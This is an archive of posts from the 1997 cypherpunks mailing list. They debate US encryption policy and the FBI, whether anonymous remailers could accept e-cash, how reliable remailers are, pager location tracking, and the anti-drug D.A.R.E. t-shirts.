On Thu, 25 Sep 1997, David HM Spector wrote:

> 
> 
> FBI Calls Privacy Extremists Elitist
> (09/25/97; 4:30 p.m. EDT)
> By David Braun, TechWire 
> 
> MONTREAL -- Extremist positions on electronic encryption are not only
> threatening to normal law enforcement, but they are also elitist and
> nondemocratic, said Alan McDonald, a senior counsel member with the
> Federal Bureau of Investigation, at the International Conference on
> Privacy in Montreal on Thursday.
> 

"This is a Republic, not a Democracy"

-way it spozed to be...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 28 Sep 1997 02:30:07 +0800
To: cypherpunks@cyberpass.net
Subject: D.A.R.E.--Drugs Are Reality Enhancers
In-Reply-To: <199709270704.DAA26015@deathstar.jabberwock.org>
Message-ID: <v03102800b052f863643c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:59 AM -0700 9/27/97, Lucky Green wrote:

>I have one of the red ribbons they give to school kids during DARE week.
>It reads "Live healthy and drug free. Sponsored by Thrifty Drug Store".
>

Many of you have seen my "D.A.R.E." t-shirt that I wear occasionally to Bay
Area parties and events. For those who haven't:


(in large red letters)   D.A.R.E.

                            I turned in my parents

                               and all I got was this

                                    stupid t-shirt


(I bought this t-shirt from an ad in alt.drugs, a group started by our own
John Gilmore, if I recall correctly, and one of the many groups banned at
many sites.)

A reference of course to the D.A.R.E. (Drug Abuse Resistance Education)
program in America's elementary (grammar) schools, wherein children are
encouraged to inform their teachers and the school administrators about
"drugs" being used in their homes. This has resulted in a bunch of raids of
private homes, the imprisonment of some persons, the removal of children
from homes, etc.

Oh, and a whole lot of "investigations" that turned up wine and beer as the
"drugs" the kiddies were squealing about.

Some schools are rethinking their participation in the D.A.R.E. program.
They've discovered the unsurprising fact that kids are smarter than the
narcs think they are, and don't believe the propaganda. Just as kids in my
cohort rejected the "LSD will make you think you can fly" nonsense, pace
the death of daytime television fixture Art Linkletter's daughter...he
admitted decades later that her suicide had nothing to do with LSD, that
she jumped out of a window for her own reasons, and that he was just going
along with the LSD theory to help the Drug War and to give his daughter's
death some meaning. This is how the narcs think.

Several years ago on the Extropians list I expressed my desire to get a
t-shirt made up with a provocative slogan, "D.A.R.E.--Drugs Are Reality
Enhancers," to wear to public events so as to tweak the noses of the Drug
Warriors and the parents who form the Just Say No Brigade of Reserve
Forces. Kennita Watson sent me a t-shirt decal with this on it, to put on a
t-shirt. Someday maybe I will.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David J. Phillips" <djp@pobox.asc.upenn.edu>
Date: Sun, 28 Sep 1997 00:07:34 +0800
To: cypherpunks@cyberpass.net
Subject: cypherpunks in my doctoral research
Message-ID: <199709271551.LAA12871@noc4.dccs.upenn.edu>
MIME-Version: 1.0
Content-Type: text/plain



I've been writing a doctoral dissertation in which cypherpunks play a
prominent role.  

The research focuses on the negotiations by which standards of
identification are incorporated into new consumer payment systems.  In
particular, I am looking at how issues of privacy, anonymity, and
identification are woven into public discussions of these systems.

I have identified three systems (Ecash, Mondex, and Citibank's EMS), and
I've analyzed talk about these systems in three sites - press articles, the
U.S. House of Representatives, and the cypherpunks mailing list.  

If you're interested, I'd appreciate any comments on this work.  I've posted
a draft of the cypherpunks section on my web site:
<http://www.asc.upenn.edu/USR/sphill/punks.htm>.  I'm especially interested
in knowing if you believe that my analysis is accurate and complete, and if
you believe its publication might effect cypherpunks themselves, or the
social and political projects which cypherpunks share. 

I would like to add one caveat.  I had to limit my analysis to a particular
time period.  Neither the discussion, nor the list, nor the entity of
cypherpunks is the same now as then.  Please bear this in mind as you read.
And please forward this note to anyone who may be interested, but is no
longer part of the cypherpunks list.

Thanks.

David J. Phillips
Annenberg School for Communication
University of Pennsylvania

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Gillogly <jim@acm.org>
Date: Sun, 28 Sep 1997 03:20:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why the White amendment is a good idea
Message-ID: <342D576A.15CBE15C@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Declan wrote:
> First, the NETcenter was sold to the Commerce cmte yesterday as a way to
> perform successful cryptanalysis on enciphered documents. The rhetoric was
> all about keeping codebreakers up to date with codemakers. To anyone with
> a glimmering of a clue about modern cryptography, this is complete
> bullshit. Industry lobbyists on Monday also tried to push this line at a
> press conference; I called them on it and they said, no, I was wrong, this
> center would let the FBI keep up with the times. Yeah right.

While a cryppie center wouldn't help the FBI keep up with strong
cryptography used well, they would find it very useful in dealing
with weak cryptography and with strong cryptography used bozotically.

The recent Denning and Baugh study on how much harm crypto has done to
law enforcement investigations points this out strongly.  They found
that crypto has not in fact prevented successful investigation and
prosecution.  They did encounter crypto, and in each case they were
either able to break it (because it's cheesy McCrypto Wordmaster kid
crypto), or they were able to find the keywords or plaintext somewhere
in the perp's house or computers.

Until we have serious seamless apps, there will be plenty of chances
for law enforcement to get at the plaintext one way or another.  Do
you use your super-4096-bit-RSA-key-international PGP under Windows?
If so, do you disable and wipe your swap file?  Do you use it under
Linux?  If so, do you even know where your swap file is?  The FBI
with a competent cryppie center would.

Just because they couldn't break the good stuff doesn't mean they
couldn't successfully support the vast majority of law enforcement
investigations.

Whether this means it should or shouldn't be implemented is another
question -- perhaps it would serve as a spur to people to use their
tools more sensibly, as well as giving the FBI something more useful
to do than spending public money lobbying Congress.
-- 
	Jim Gillogly
	Mersday, 6 Winterfilth S.R. 1997, 18:45
	12.19.4.9.14, 2 Ix 12 Chen, Fifth Lord of Night





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sun, 28 Sep 1997 01:21:11 +0800
To: cypherpunks@toad.com
Subject: Re: Why the White amendment is a good idea (fwd)
In-Reply-To: <Pine.GSO.3.95.970925110922.1676D-100000@well.com>
Message-ID: <97Sep27.125557edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 25 Sep 1997, Declan McCullagh wrote:

> Lizard, you're missing the point. 
> 
> First, the NETcenter was sold to the Commerce cmte yesterday as a way to
> perform successful cryptanalysis on enciphered documents. The rhetoric was
> all about keeping codebreakers up to date with codemakers. To anyone with
> a glimmering of a clue about modern cryptography, this is complete
> bullshit. Industry lobbyists on Monday also tried to push this line at a
> press conference; I called them on it and they said, no, I was wrong, this
> center would let the FBI keep up with the times. Yeah right.

I think you are among the most vocal when saying that congress has no
clue.  Replace GAK snake-oil with a cryptographic-moonshot snake-oil
proposal (with branch offices in key districts) and it becomes clearer.
Move the superconducting supercollider folks to quantum supercomputing.

If they can believe myths that crime and terrorism will increase
exponentially if strong crypto is made available, they should also believe
that for a few billion, they will be able to crack PGP (sans GAK).  When
it doesn't work, they will demand a few billion more every few years
instead of demanding GAK which will close down their bureaucracy.  They
may say they want to be the GAKers, but then you will have to replace all
the number theory consultants with database consultants.

> Second, the NSA already performs these duties. Whether they should be
> allowed to or not is a different argument. 

But they don't tell the FBI everything.

> Third, there's no funding appropriated for the NETcenter. It's useless
> without it. Again, it's bullshit.

There will be.  Congress finds ways to fund useless projects.

> Fourth, even industry lobbyists admitted to me privately yesterday that
> NETcenter was a scam designed entirely to head off Oxley.

Ssshhhh! someone hear you.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 28 Sep 1997 04:43:24 +0800
To: jason <cypherpunks@toad.com
Subject: Re: Future reading ??
In-Reply-To: <342C7BD7.AB1DDE6E@one.net.au>
Message-ID: <3.0.3.32.19970927125017.0068a23c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:21 PM 09/27/1997 +1000, jason wrote:
>Hi all,
>can anybody suggest any good books on cryptanalysis (or papers etc).
>I've read most of Applied Cryptography. What would be a good next step,
>reading wise ??

A few directions
- to put perspective on what you can do with crypto, read Tim May's 
	Cyphernomicon, which is out on the net
- find where to get the proceedings from the various cryptography conferences
	Eurocrypt, Asiacrypt, Crypto, etc.
- look at Schneier's bibliography for papers on the topics you found
	interesting in the book
- How much math do you do?  Group theory?  Prime number stuff?
	You'll need to know this to get very deep at all,
	and often to know what people are talking about, especially
	with the elliptic curve stuff.  Find some books on that
	if you don't already know it.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jason <rennie@one.net.au>
Date: Sat, 27 Sep 1997 11:38:22 +0800
To: cypherpunks@toad.com
Subject: Future reading ??
Message-ID: <342C7BD7.AB1DDE6E@one.net.au>
MIME-Version: 1.0
Content-Type: text/plain



Hi all,

can anybody suggest any good books on cryptanalysis (or papers etc).
I've read most of Applied Cryptography. What would be a good next step,
reading wise ??

Thanks

Jason





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 28 Sep 1997 01:38:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <98686f498b8ccb27fd4ca5d615f6710e@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Steve Schear wrote:
>At 3:18 AM -0400 9/27/97, Anonymous (sic) wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>Just out of a curiousity, why is it that no remailers accept ecash?
>>(This is not a jibe at remailer operators or authors of remailer
>>software.  I am really curious if this is a "didn't get to it yet"
>>sort of thing, or if there's something hard about it.)
>
>One item which has been missing is an accessible API. (The Digicash
>merchant software is, I believe, designed for online use only.)  This
>need is about to be fulfilled.

Digicash has software for Unix platforms which one could very easily
call from a Perl script.  Sure, it wouldn't be pretty, it wouldn't be
ideal, but it would work and should be easy to incorporate into many
of the remailers.  (I think.)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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jYqQUFZo3eEhQdKiW9xVaq7l7ZovaR7uNfxUnV5bzniXs1dIQJQ1hPVMU8+gW+2D
g49nyGxS0gA4CFZFDDepd7fhDYiZgzOi2fVha+Vtz0fJZ4Lx9LoVb+Ce/bijGmkU
OHkgCqYm3UwZlLZp7FY4pDt0r/7QdYcAayhCAFgDiCxE5o2c+WN3O0a9cqNHuFhx
tBycQBfYewLNHn7FshBZF1pMm7FMp01i07y5AVogCleSqZdH8gJrEg==
=si/v
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sun, 28 Sep 1997 02:37:47 +0800
To: cypherpunks@toad.com
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <v03007811b05179a2663f@[204.254.22.23]>
Message-ID: <97Sep27.140451edt.32266@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 26 Sep 1997, Declan McCullagh wrote:

> [CDT's Jonah Seiger copied this message to my editors. I'm still waiting
> for him to answer my questions. --Declan]

Maybe they can't distinguish Declan as journalist and Declan as online
debate participant (for lack of a better term).  Since I know of nothing
wrong with your reporting, either in accuracy, or in usefullness your
editors should know this and I would hope they would keep you on. 

If there is a cardinal virtue for a journalist it is to have active
opinions, but to keep them out when assigned to report facts.  But in
other venues, they should be free to express those opinions.

The original post appeared not to be from Declan in his capacity as a
journalist (he is free to correct me).  I assume that if it was part of
his assignment to ask this, he would have called.

> If you are curious about what it is about your style that bothers CDT so
> much, start with this hostile, accusitory message posted to a public list
> (in this case, cypherpunks).
> 
> This message is not a question -- it's an attack.  It assumes the answer
> before it's asked, and it's nothing more than read meat thrown to a hungry
> crowd.
> 
> If you have questions about how we set up the site, or how we feel about
> the results of Wednesday's Commerce Committee vote, all you have to do is
> contact us.  We will be happy to talk to you.  This is the way every other
> journalist we work with operates.

I have seen far worse attacks (literal, not simply asking hard questions)
by other participants here, as well as defenses.  I don't see the CDT
calling their employers or customers and complaining or praising. 

I too am interested in the answers to the questions.  I don't think
Markey-White is good (I see nothing intrinsically pro-privacy), but I
don't think it is a disaster unless it is simply the first step toward
Oxley or something as bad.  It is controversial, so to label it
pro-privacy or pro-censorship requires at least a defense of the position
- and I have heard Declan's side and tend to agree with him.

And the answers are important.  If the CDT thinks that Markey-White is a
useful compromise (i.e. they value lifting the export ban more than the
problems with the extra rules), they should say so, but that is different
from saying that Markey-White is pro-privacy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Sat, 27 Sep 1997 11:27:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Chutzpah! FBI Calls Privacy Extremists Elitist
In-Reply-To: <2A22D88740F0D01196BD0000F840F43F954F2F@tceis5.indy.tce.com>
Message-ID: <m2raabbk71.fsf@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain



Fisher Mark <FisherM@exch1.indy.tce.com> writes:

> Alas (according to my failing memory) it was legislator from my home
> state of Indiana during the early part of this century, who had planned
> to make a killing in textbooks if Pi == 3.0 was accepted.  Fortunately
> he was called on it when it went before the whole legislature.

It was pi == 4.0, not 3.0, and was in fact enacted by the General
Assembly of Indiana in 1897.  Don't know when it was repealed.

-- 
Paul Foley <mycroft@actrix.gen.nz>  ---   PGP-encrypted mail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 28 Sep 1997 02:35:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <d9ad723431a59140b039a71c9cecc923@anon.efga.org>
Message-ID: <3.0.3.32.19970927140255.032fb794@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 03:18 AM 9/27/97 -0400, Anonymous (Monty Cantsin) wrote:
>Just out of a curiousity, why is it that no remailers accept ecash?
>
>The brutally simple way to do this would be to generate an ecash
>certificate, made out to cash, and tack it at the beginning of a
>message which is then encrypted for the remailer.

The answer to your question may be to first recast your questions and ask
why would someone want to attach ecash?  I assume you are trying to "pay"
for the email you send.  This goes against the general model of the
internet.  Unlike the phone company, the net peers freely with no
interconnection charges, so inter lata charges do not have to be tracked
and collected.  This allows for a flat rate pricing scheme.  For remailers,
this flat rate is generally zero dollars, i.e. free.

There are remailers of various types who offer services for a charge of
some sort.  This is generally a flat rate fee, either per month, or per
year.  There is likely no desire to price on a per item basis.  If there
were, I would think it would be in the millicent range of pricing.

If I were to set up a for pay remailing system, I would prefer to have a
per month, or per year fee.  This is more for the nym model of remailer.  I
assume you mean the Type-I such as you are using now.  It would be
interesting to setup as a test, but I don't see there would be any market
for it.

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sun, 28 Sep 1997 02:36:29 +0800
To: John Smith <jsmith58@hotmail.com>
Subject: Re: Exports and criminalizing crypto
In-Reply-To: <19970925215418.1688.qmail@hotmail.com>
Message-ID: <97Sep27.141620edt.32273@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 25 Sep 1997, John Smith wrote:

> >From: Adam Back <aba@dcs.ex.ac.uk>
> >John Smith <jsmith58@hotmail.com> writes:
> >> Getting rid of these export restrictions would produce an explosion
> >> of Cypherpunk style crypto software.  It is a big win.
> >
> >I disagree.
> >
> >Cypherpunk (freeware) crypto isn't hardly hindered at all by EAR
> >export nonsense.  

At some point it isn't hindered.  But the process is complex since if the
export can be traced, the exporter can be harrassed.  How much crypto did
Phil Zimmerman write while he was under investigation? And why didn't a
pgp 5.0 come out from outside of the US since the 2.6.2 base was already
there?  It is in no one's interest to become the victim of a governmental
investigation (even Bernstein sued *before* publishing).  All the free
crypto "leaks" out because of the impossibility of control.  But it is a
hinderance since I can't simply place code on my web page and point
everyone at it.

As to SAFE, whether it will pass and in what form, I can't be sure.  I
also can't be sure that a domestic crypto ban would have been introduced
without SAFE being there (though I suspect the FBI already had something
- there was no anti-CALEA bill before CALEA).  As far as interpretations
go, the courts often tend to the bizzare, so I can't be sure what they
would uphold.  Taking the most pessimistic view would have predicted
Bernstein would have lost.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sandy Harris" <sandy@storm.ca>
Date: Sun, 28 Sep 1997 04:01:45 +0800
To: <cypherpunks@cyberpass.net>
Subject: T-shirts (was Re: D.A.R.E.--Drugs Are Reality Enhancers)
Message-ID: <199709271951.PAA25605@mail.storm.ca>
MIME-Version: 1.0
Content-Type: text/plain




> Many of you have seen my "D.A.R.E." t-shirt that I wear occasionally to
Bay
> Area parties and events. For those who haven't:
> 
> 
> (in large red letters)        D.A.R.E.
> 
>                             I turned in my parents
>                                and all I got was this
>                                     stupid t-shirt
> 

ROFL!
Burroughs suggested "Drug hysteria: just say no!"

Anyone care to make some up with:

        Escrowed encryption: just say no!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 28 Sep 1997 04:19:24 +0800
To: cypherpunks@toad.com
Subject: Re: D.A.R.E.--Drugs Are Reality Enhancers
In-Reply-To: <v03102800b052f863643c@[207.167.93.63]>
Message-ID: <05gPDe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Several years ago on the Extropians list I expressed my desire to get a
> t-shirt made up with a provocative slogan, "D.A.R.E.--Drugs Are Reality
> Enhancers," to wear to public events so as to tweak the noses of the Drug
> Warriors and the parents who form the Just Say No Brigade of Reserve
> Forces. Kennita Watson sent me a t-shirt decal with this on it, to put on a
> t-shirt. Someday maybe I will.

Quasi-crypto-related: my wife's wants to buy a color printer.  Is it hard to
make transfers(?) that one can iron on a blank T-shirt? Do they last? Are some
color printers better than others? Hey, maybe I'll make some cool T-shirts.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 28 Sep 1997 04:23:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
In-Reply-To: <518a11cd897fab49c5c65badb848d348@anon.efga.org>
Message-ID: <3.0.3.32.19970927160912.00739300@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 01:19 PM 9/26/97 -0400, Anonymous (Monty Cantsin) wrote:
>No, the nym servers differ in two important ways.
>
>1. They use a reply block so your true identity lies encrypted beneath
>the public keys of several remailers.  I would rather the message went
>to alt.anonymous.messages.

This is an interesting idea.  I'm going to forward it to the
remailer-politics list and see what people there think of the idea.

>Also, by my reading of the "uptime" statistic in Raph's remailer
>chart, a reply block is not going to be very reliable for receiving
>mail.

The Redneck remailer, for instance, has a 99+% uptime rate.  The reason for
this being high is that it is run under a business model.  The connectivity
basically cannot go down.  There has only been 23 minutes of connectivity
downtime in the last year.  Redneck is run on a business quality network
with multiple backbone feeds.  But things break down after that.  Redneck
also runs on an underpowered 486 with no "hotfix" backup machine.  It is
not considered to be a mission critical piece of equipment.  I might notice
Redneck have a problem at 1:00 am, but it can wait until in the morning to
get fixed.  Situations like this, combined with software upgrades account
for downtime.

Back to your question of latency, the actual latency on Redneck is about
six seconds if chaining is not used.  This is "high" because the remailer
runs on an underpowered machine.  If the machine is not doing its thing for
any length of time, then the figure will go up dramatically, which is why
you see the two minute latency now.  Cracker however is *designed* to have
additional latency.  The figure shown is twenty something minutes, but
actual latency of an individual message cannot be determined. Conceivably,
it could be much higher or lower on any given message.  The latency could
be under 60 seconds during a busy time, or could be hours during a slow time.

>2. The nym servers advertise that the accounts are nyms through the
>choice of domain names.  So, presumably, people will respond with the
>same hostility that they respond to any other anonymous message. 
>I presume the remailer operators want to minimize the number of times
>somebody is defrauded through an anonymous account.

This is similar to the AOL effect.  It is often hard to have respect for an
unknown poster from AOL.  The remailer at EFGA is new.  I've come to
realize that this natural hostility towards a remailer is a good reason to
put the remailer on a separate domain.  We might do this.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Sun, 28 Sep 1997 04:29:56 +0800
To: eb@comsec.com
Subject: Re: The Telcos oppose Oxley
In-Reply-To: <199709252153.OAA22703@comsec.com>
Message-ID: <199709272009.QAA32068@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Eric Blossom wrote :

> 
> Beepers are also nice for people who like to be reachable but don't
> care for "Location Escrow".  Many of us carry cell phones, but don't
> keep them powered up.
> 

	Be careful, very careful,  The latest technology in beepers is
uses a two way paging protocol called REFLEX, and the beeper does indeed
log into a "cell"  from which a crude postion determination can be made.
The cells are larger than cellphone cells, and there is no government
mandate to implement triangulation technology to locate beepers within
the cell more precisely "for enhanced 911 service" (yet), but it is very
possible to send a two way pager a "ping" and get it to transmit
allowing dfing of the pager location.   

	This type of pager is advertised as having guaranteed message
delivery "never miss your messages", as well as message reply capability.
Eventually they will become quite common, as existing pager channels are
clogged with traffic broadcast over a wide area even though the target
pager is only near one transmitter and not all of them - they allow
much more efficient use of the rf spectrum as well as guaranteed delivery
of messages.

> Eric
> 


-- 
	Dave Emery N1PRE,  die@die.com  DIE Consulting, Weston, Mass. 
PGP fingerprint = 2047/4D7B08D1 DE 6E E1 CC 1F 1D 96 E2  5D 27 BD B0 24 88 C3 18





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 28 Sep 1997 08:30:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <98686f498b8ccb27fd4ca5d615f6710e@anon.efga.org>
Message-ID: <v03102800b0533884f680@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>-----BEGIN PGP SIGNED MESSAGE-----
>
>Steve Schear wrote:
>>At 3:18 AM -0400 9/27/97, Anonymous (sic) wrote:
>>>-----BEGIN PGP SIGNED MESSAGE-----
>>>
>>>Just out of a curiousity, why is it that no remailers accept ecash?
>>>(This is not a jibe at remailer operators or authors of remailer
>>>software.  I am really curious if this is a "didn't get to it yet"
>>>sort of thing, or if there's something hard about it.)
>>
>>One item which has been missing is an accessible API. (The Digicash
>>merchant software is, I believe, designed for online use only.)  This
>>need is about to be fulfilled.
>
>Digicash has software for Unix platforms which one could very easily
>call from a Perl script.  Sure, it wouldn't be pretty, it wouldn't be
>ideal, but it would work and should be easy to incorporate into many
>of the remailers.  (I think.)

True, but then the remailer's income would be available to LE, since payee
anonymity isn't supported by DC.  Accountless operation is by far a better
alternative for some business.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 28 Sep 1997 08:33:18 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Remailers and ecash
In-Reply-To: <d9ad723431a59140b039a71c9cecc923@anon.efga.org>
Message-ID: <v03102801b053396e2d7b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>The answer to your question may be to first recast your questions and ask
>why would someone want to attach ecash?  I assume you are trying to "pay"
>for the email you send.  This goes against the general model of the
>internet.  Unlike the phone company, the net peers freely with no
>interconnection charges, so inter lata charges do not have to be tracked
>and collected.  This allows for a flat rate pricing scheme.  For remailers,
>this flat rate is generally zero dollars, i.e. free.

You get what you pay for.

>
>There are remailers of various types who offer services for a charge of
>some sort.  This is generally a flat rate fee, either per month, or per
>year.  There is likely no desire to price on a per item basis.  If there
>were, I would think it would be in the millicent range of pricing.

When remail use is casual and protects rather innocuous content then little
if any can be charged.  When content and identity protection is important
to the sender than a larger, but probably still small amount is fair.  I
would be willing to spend a few cents for each hop from reliable remailers.

>
>If I were to set up a for pay remailing system, I would prefer to have a
>per month, or per year fee.  This is more for the nym model of remailer.  I
>assume you mean the Type-I such as you are using now.  It would be
>interesting to setup as a test, but I don't see there would be any market
>for it.

In business, one can never tell if there's a market until the product or
service reaches sufficient audience.  Some of the most successful products
(e.g., Sony's Walkman and the Internet) were roundly rejected by industry
pundits and marketeers prior to introduction.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 28 Sep 1997 14:12:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <8f6805d079d5185626e98fff7b367aea@anon.efga.org>
Message-ID: <v03102802b05356b90f68@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>There also seems to be an idea that there is some big R&D investment
>in adapting a remailer to use e-cash.  There isn't.  You have to open
>an account at Mark Twain Bank.  You have to figure out how to call the
>Digicash executable from within a Perl script.  (Since nobody has
>corrected me on this, I am becoming confident that it is really as
>easy as I think.)  Why not try it?  Worst case, you lose a little
>time.  Best case, you get rich and the remailer network takes off.
>

The only way ecash is likely to catch on is if there's something useful to
purchase with it.  Remailers are a great way to create that opportunity,
fisrt with CP and then with the wider Net community.

>
>The way ecash will catch on is that a small group of people will start
>using it regularly for services and trade within their loosely defined
>community.  Once things start rolling, more people and services can be
>added.  Once things catch on, they will snowball.

Just like PGP.

>
>The place to start is in this group with the remailers.

Yes, and with client SW.  The main technical reason remailers aren't in
general use is a lack of simple to use, uniform feature, remailer clients
(yes, I know about Private Idaho).  This would best be either plug-ins for
the many email clients, but simpler yet a browser applet so any platform
can use use it and no explicit download is needed.  Such an applet has been
prototyped by Geoff Keating and is online, needing mainly Type II and ecash
support.  There might even be a hybrid step to create an adaptor plug-in
connected to the browser applet (if the sandbox permits this
intercommunication).  In any case, Java is definitely the way to go for
client SW.

--Steve


PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html
RSA Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 28 Sep 1997 07:05:26 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: cypherpunks-e@htp.org list explodes! (fwd)
Message-ID: <199709272310.SAA06706@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 27 Sep 1997 12:27:04 -0700
> From: Bill Stewart <stewarts@ix.netcom.com>
> Subject: cypherpunks-e@htp.org list explodes!

> Well, I tried subscribing to cypherpunks-e@htp.org, the English-language
> relative of cypherpunks-j.  There may have been one or two independent
> postings,
> but almost everything there was just the main cypherpunks list, forwarded
> and with archiving numbers stuck in the Subject: line.
> That wasn't a very good idea; people who want to subscribe to cypherpunks
> should do so directly, but if you do want to build a fourth list address
> for cypherpunks, you can check with Igor Chudov and Lance Cottrell about
> the software
> that makes it work without looping.

First, it was meant as another member of the cpunks distributed list.

Second, I provided them with the necessary anti-loop information.

Third, they were out because SSZ was out. It's a real pitty the other
list operators don't put more effort into ensuring cross connections
since the anti-loop process does seem to work.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 28 Sep 1997 06:39:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <8f6805d079d5185626e98fff7b367aea@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>At 03:18 AM 9/27/97 -0400, Anonymous (Monty Cantsin) wrote:
>>Just out of a curiousity, why is it that no remailers accept ecash?
>>
>>The brutally simple way to do this would be to generate an ecash
>>certificate, made out to cash, and tack it at the beginning of a
>>message which is then encrypted for the remailer.
>
>The answer to your question may be to first recast your questions and
>ask why would someone want to attach ecash?  I assume you are trying
